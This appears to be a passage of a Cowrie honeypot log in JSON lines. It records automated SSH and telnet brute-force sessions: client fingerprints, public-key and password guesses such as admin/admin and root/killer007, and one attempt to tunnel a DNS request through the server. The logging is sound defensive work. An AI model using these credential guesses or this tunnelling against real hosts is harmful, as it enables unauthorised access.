{"eventid":"cowrie.login.failed","username":"root","fingerprint":"b7:90:ce:6d:7c:65:81:cb:cd:cc:ef:26:cd:5b:23:a9","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDhQ2Qfju6Iy3VFgnEpO9Sj9GBXh0FJ2EjOTFGe/mm1w9G+SPVQXcGMVHgHw8jAyBDSQSGonaUhORRBPMYP2Qli9Kk5BbVQQoCqm8MkOejZKTmOsJ928odDPYuYixWpopArfkgn5AmK5xLn8VPKsalo0qL15oHR2ETLpSZ4D0VBcK03KzfKKX7ZuuUjRjZ1FDGafiK5mQeRcQ+Ar1zeDyPfminIZmCrw+xkdgNqB1lIjNht4bFO6eOdd03d3xNewQjFbzIN8pHin0T9Vb9gjN4gTReu6jMUPahx2IDGDlYgwT51RqqB3tv3czEqZ00SR09xxsfbKtAjOdRTuqs5LQcJZ+whv23kOSqsq33TWWxFsAps1CrJiI4E/NZVkmwTDwyNc8Vn7i6OCjcH2MHipapweznTAIqomPzsNXnvps99M60Kjp8Zfpz0N+Zk3IyenRrP0tnpeM8eQJKGpXQhVYZHMbuuc71u0AF1fH+Nt/lMVRKDEUmtIPyhpgo3O7z1kgE=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:19:03.579211Z","src_ip":"89.42.231.160","session":"a05de60edad0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:19:03.672975Z","src_ip":"89.42.231.160","session":"a05de60edad0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":23198,"dst_ip":"10.17.0.5","dst_port":22,"session":"2d2ece75fc55","protocol":"ssh","message":"New connection: 87.251.64.176:23198 (10.17.0.5:22) [session: 2d2ece75fc55]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:19:15.156803Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:19:15.163112Z","src_ip":"87.251.64.176","session":"2d2ece75fc55","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:19:15.258635Z","src_ip":"87.251.64.176","session":"2d2ece75fc55","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:19:15.543373Z","src_ip":"87.251.64.176","session":"2d2ece75fc55","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:19:15.641418Z","session":"2d2ece75fc55","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:19:15.737529Z","src_ip":"87.251.64.176","session":"2d2ece75fc55","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:19:15.834776Z","src_ip":"87.251.64.176","session":"2d2ece75fc55","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.176.90.41","src_port":60476,"dst_ip":"10.17.0.5","dst_port":22,"session":"4a32f3400087","protocol":"ssh","message":"New connection: 103.176.90.41:60476 (10.17.0.5:22) [session: 4a32f3400087]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:19:20.100941Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:19:20.105871Z","src_ip":"103.176.90.41","session":"4a32f3400087","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:19:20.192832Z","src_ip":"103.176.90.41","session":"4a32f3400087","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"ab:f7:67:75:5c:b9:ff:77:b7:30:49:f3:f7:a3:0a:d6","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAsZSkKcJsXfDqTVkCYcf+WWXm/AMjXE3uBFDYqLD9HXiymwdEGgdookhDpTaL+pYIwJD7gk+E9JTfxnLQhJfz1h0QqJuJcFo36HQgvXFg1wJFSogRvk4KJOK74DXSafA40Btg80PEw4uFqd1bfBZdO7h3rrsw0A46LVNtmNQJj0sakCfMieAewpDs6E7tL0+H3MSTKEA1+eJ1CyMM/uRm8yLvU3Y3e1txLUdKqOzvu3OeWz2/q7P/1BHrlqok9axHxoyosAMKs6y6OehDGoEuzfBHo3/8BJFcW/hmufD/Dddz45MZPpAo4cefl4TJWzOkaeV60jDT8qrG41by6r/E3w==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint ab:f7:67:75:5c:b9:ff:77:b7:30:49:f3:f7:a3:0a:d6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:19:20.590824Z","src_ip":"103.176.90.41","session":"4a32f3400087","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"ab:f7:67:75:5c:b9:ff:77:b7:30:49:f3:f7:a3:0a:d6","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAsZSkKcJsXfDqTVkCYcf+WWXm/AMjXE3uBFDYqLD9HXiymwdEGgdookhDpTaL+pYIwJD7gk+E9JTfxnLQhJfz1h0QqJuJcFo36HQgvXFg1wJFSogRvk4KJOK74DXSafA40Btg80PEw4uFqd1bfBZdO7h3rrsw0A46LVNtmNQJj0sakCfMieAewpDs6E7tL0+H3MSTKEA1+eJ1CyMM/uRm8yLvU3Y3e1txLUdKqOzvu3OeWz2/q7P/1BHrlqok9axHxoyosAMKs6y6OehDGoEuzfBHo3/8BJFcW/hmufD/Dddz45MZPpAo4cefl4TJWzOkaeV60jDT8qrG41by6r/E3w==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:19:20.594749Z","src_ip":"103.176.90.41","session":"4a32f3400087","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"06:7b:9f:94:42:6e:ae:f4:47:66:6b:8d:b9:b0:b5:d0","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDT2iDDUzOYlhxYwYi+zSjrTi0PUiWnvYPb0uEiwUATjlJe9l4JSCf9gKE5es4piN6SdaRrDFgimuvV6XpbC96Wa99oGCYxvylycm5umvzshYDaTwi9U918xvtVNUApSGJGE3hSQC/gkS0cDIYKst5ZPm58dfNGr1RZ4L9TiY9l5CgNwqv8yqbFP4MgRFm6VxKQJ2Mh81adiu5a5Kd1Dqof6Apw9LSZlNJnO+9g3V6fRQGcLUR9k5CFBhLvJ6h2B9/ZKocRUR2Nzz3VwWlmgTQ5ZRMK8p+dFWwy5Bb0aDLYLSckuy7wN5mfg02WfI0Z1YXKWpb2oxQjOi21a4CozX0/","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 06:7b:9f:94:42:6e:ae:f4:47:66:6b:8d:b9:b0:b5:d0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:19:20.679945Z","src_ip":"103.176.90.41","session":"4a32f3400087","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"06:7b:9f:94:42:6e:ae:f4:47:66:6b:8d:b9:b0:b5:d0","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDT2iDDUzOYlhxYwYi+zSjrTi0PUiWnvYPb0uEiwUATjlJe9l4JSCf9gKE5es4piN6SdaRrDFgimuvV6XpbC96Wa99oGCYxvylycm5umvzshYDaTwi9U918xvtVNUApSGJGE3hSQC/gkS0cDIYKst5ZPm58dfNGr1RZ4L9TiY9l5CgNwqv8yqbFP4MgRFm6VxKQJ2Mh81adiu5a5Kd1Dqof6Apw9LSZlNJnO+9g3V6fRQGcLUR9k5CFBhLvJ6h2B9/ZKocRUR2Nzz3VwWlmgTQ5ZRMK8p+dFWwy5Bb0aDLYLSckuy7wN5mfg02WfI0Z1YXKWpb2oxQjOi21a4CozX0/","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:19:20.684269Z","src_ip":"103.176.90.41","session":"4a32f3400087","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"94:10:c6:27:22:e8:98:c2:de:19:d4:03:a6:41:fe:9e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAqXW8HFmx1OfMukQ7rNwY7HIuvP+g4jNzkFtTTtGygoqTtge8oVwZcGL3YFQrXxKtg0g5t5NiPZRvmmVRA53PNBb95rn1xFOQYH/pyK+uwn7AI4FgC2pyhpeU/FCHdyFXmVIai8cD1h2Qmz6syELb8PNL/q0O47INUs6/wJIhzh7YIjToM7NhXISR/g16Yuqk7xa1X4T7dyf4IG4+NetDOyrnPlb0vshW0yNShMMP8z7LOgQdTPjAhHqDnSeQ+aBiOneD9tm5+MOWdxwW8PftYlEb/PIoaSewfUdUvjeen4To9GtVK0CJGkaA094Dx5Kgm/Zm6r0afzsbdZ/xOFnfPw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 94:10:c6:27:22:e8:98:c2:de:19:d4:03:a6:41:fe:9e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:19:20.769626Z","src_ip":"103.176.90.41","session":"4a32f3400087","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"94:10:c6:27:22:e8:98:c2:de:19:d4:03:a6:41:fe:9e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAqXW8HFmx1OfMukQ7rNwY7HIuvP+g4jNzkFtTTtGygoqTtge8oVwZcGL3YFQrXxKtg0g5t5NiPZRvmmVRA53PNBb95rn1xFOQYH/pyK+uwn7AI4FgC2pyhpeU/FCHdyFXmVIai8cD1h2Qmz6syELb8PNL/q0O47INUs6/wJIhzh7YIjToM7NhXISR/g16Yuqk7xa1X4T7dyf4IG4+NetDOyrnPlb0vshW0yNShMMP8z7LOgQdTPjAhHqDnSeQ+aBiOneD9tm5+MOWdxwW8PftYlEb/PIoaSewfUdUvjeen4To9GtVK0CJGkaA094Dx5Kgm/Zm6r0afzsbdZ/xOFnfPw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:19:20.773549Z","src_ip":"103.176.90.41","session":"4a32f3400087","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"61:ff:60:86:b3:5c:2c:5a:b3:75:48:22:b9:19:a1:7e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDaB8+U+u8zPAJUU8XxWx+0OPmku1jN1PcT9f3viQm09bjgHpNx6xmTF0RTDjsdmi4GIZ7BOHS3ZDlDr3Cjc00bryT0nBhRm2ruY8gjt1Y6IX6ubAZLdBFMfs5HxH8GuRrO/EV8/Hgj+EsiqvTPW9lqmfTckKUmTyJ3seugpY8rJUhQliEUaDXXGRMkLUJd84MEsopPPuECbiBRu2yglviFPZwHKJLBP1RlTrOvwi1v4/8NlnCM0PtjwCrNb8t6hh1H4QCWZtuiEHOv4Q7xTpV5uixMmoK2gmlOIWGu2yh3NkyOkquH+uzY0YvtG87g05XEUm40KdR1qRdgI2mThkon","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 61:ff:60:86:b3:5c:2c:5a:b3:75:48:22:b9:19:a1:7e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:19:20.858134Z","src_ip":"103.176.90.41","session":"4a32f3400087","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"61:ff:60:86:b3:5c:2c:5a:b3:75:48:22:b9:19:a1:7e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDaB8+U+u8zPAJUU8XxWx+0OPmku1jN1PcT9f3viQm09bjgHpNx6xmTF0RTDjsdmi4GIZ7BOHS3ZDlDr3Cjc00bryT0nBhRm2ruY8gjt1Y6IX6ubAZLdBFMfs5HxH8GuRrO/EV8/Hgj+EsiqvTPW9lqmfTckKUmTyJ3seugpY8rJUhQliEUaDXXGRMkLUJd84MEsopPPuECbiBRu2yglviFPZwHKJLBP1RlTrOvwi1v4/8NlnCM0PtjwCrNb8t6hh1H4QCWZtuiEHOv4Q7xTpV5uixMmoK2gmlOIWGu2yh3NkyOkquH+uzY0YvtG87g05XEUm40KdR1qRdgI2mThkon","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:19:20.862179Z","src_ip":"103.176.90.41","session":"4a32f3400087","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"ec:d8:50:61:72:b3:fc:b0:f8:88:14:cc:87:04:11:cc","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAPip5nbbOp6FWwVvXwK8pCbqdZbUvMiX0aRKahOlKBBXU52mFoZT/5NOCNpLYZTo9Z838/+Xf/NU9RaTkq5EliPAoeDPb7BtToDphoyBFMOdbxl6t9YuMF+LxPZJmLGqKfQ4NR0VT+VVK+/IUxU161lZpRJgXGfvPLrhd1l6c4CFAAAAFQC7ySQp9NJ017hltAFvhtnkhsTq6QAAAIA2oXo7XbGN87kxUMVhXj4aRHNJ2dWMR/Jjpb2MLG6z4G8We0aaYc4b6znZmfNpGUJTP0U4IcPESlym7bTr1rRUtNo8nboQWSXdtXsbWSVO0aQ0Lv762q0+6+TDvPJ+xG1omjyetDH4bWlvrjfo/cwwmWlhAA5/2ucCFXCBuzLwpgAAAIEAumcs5d5G+c5XkrZFwECcNQc4dxW2zFK7olTEllkUANj+O0FQVaDbtUUlYxkiHP+qSatDcKnh9mwXB8yyfCnxQ/z5KqSKfQ6AY85yOiFZq2m7B41oN1Iphdn2svDgdyC4fRSsdKghZlaaCOlAlkm3D7573Fma8MEzLgWu6VqVhew=","type":"ssh-dss","message":"public key attempt for user root of type ssh-dss with fingerprint ec:d8:50:61:72:b3:fc:b0:f8:88:14:cc:87:04:11:cc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:19:20.946562Z","src_ip":"103.176.90.41","session":"4a32f3400087","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"ec:d8:50:61:72:b3:fc:b0:f8:88:14:cc:87:04:11:cc","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAPip5nbbOp6FWwVvXwK8pCbqdZbUvMiX0aRKahOlKBBXU52mFoZT/5NOCNpLYZTo9Z838/+Xf/NU9RaTkq5EliPAoeDPb7BtToDphoyBFMOdbxl6t9YuMF+LxPZJmLGqKfQ4NR0VT+VVK+/IUxU161lZpRJgXGfvPLrhd1l6c4CFAAAAFQC7ySQp9NJ017hltAFvhtnkhsTq6QAAAIA2oXo7XbGN87kxUMVhXj4aRHNJ2dWMR/Jjpb2MLG6z4G8We0aaYc4b6znZmfNpGUJTP0U4IcPESlym7bTr1rRUtNo8nboQWSXdtXsbWSVO0aQ0Lv762q0+6+TDvPJ+xG1omjyetDH4bWlvrjfo/cwwmWlhAA5/2ucCFXCBuzLwpgAAAIEAumcs5d5G+c5XkrZFwECcNQc4dxW2zFK7olTEllkUANj+O0FQVaDbtUUlYxkiHP+qSatDcKnh9mwXB8yyfCnxQ/z5KqSKfQ6AY85yOiFZq2m7B41oN1Iphdn2svDgdyC4fRSsdKghZlaaCOlAlkm3D7573Fma8MEzLgWu6VqVhew=","type":"ssh-dss","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:19:20.955117Z","src_ip":"103.176.90.41","session":"4a32f3400087","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.9","message":"Connection lost after 0.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:19:21.040617Z","src_ip":"103.176.90.41","session":"4a32f3400087","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.122.221.179","src_port":58622,"dst_ip":"159.203.135.109","dst_port":22,"session":"750e4df85980","protocol":"ssh","message":"New connection: 103.122.221.179:58622 (159.203.135.109:22) [session: 750e4df85980]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:19:23.813434Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:19:23.818403Z","src_ip":"103.122.221.179","session":"750e4df85980","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:19:24.077104Z","src_ip":"103.122.221.179","session":"750e4df85980","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"killer007","message":"login attempt [root/killer007] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:19:24.852720Z","src_ip":"103.122.221.179","session":"750e4df85980","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.837682485580444,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:19:25.754894Z","src_ip":"135.148.14.151","session":"b7a29a73fab5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:19:26.115952Z","src_ip":"103.122.221.179","session":"750e4df85980","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":59900,"dst_ip":"159.203.135.109","dst_port":23,"session":"201ff3601f0e","protocol":"telnet","message":"New connection: 135.148.14.151:59900 (159.203.135.109:23) [session: 201ff3601f0e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:19:29.516437Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.176.20.57","src_port":43142,"dst_ip":"10.17.0.5","dst_port":22,"session":"d9fecf06cb57","protocol":"ssh","message":"New connection: 103.176.20.57:43142 (10.17.0.5:22) [session: d9fecf06cb57]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:19:49.065521Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:19:49.071012Z","src_ip":"103.176.20.57","session":"d9fecf06cb57","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gc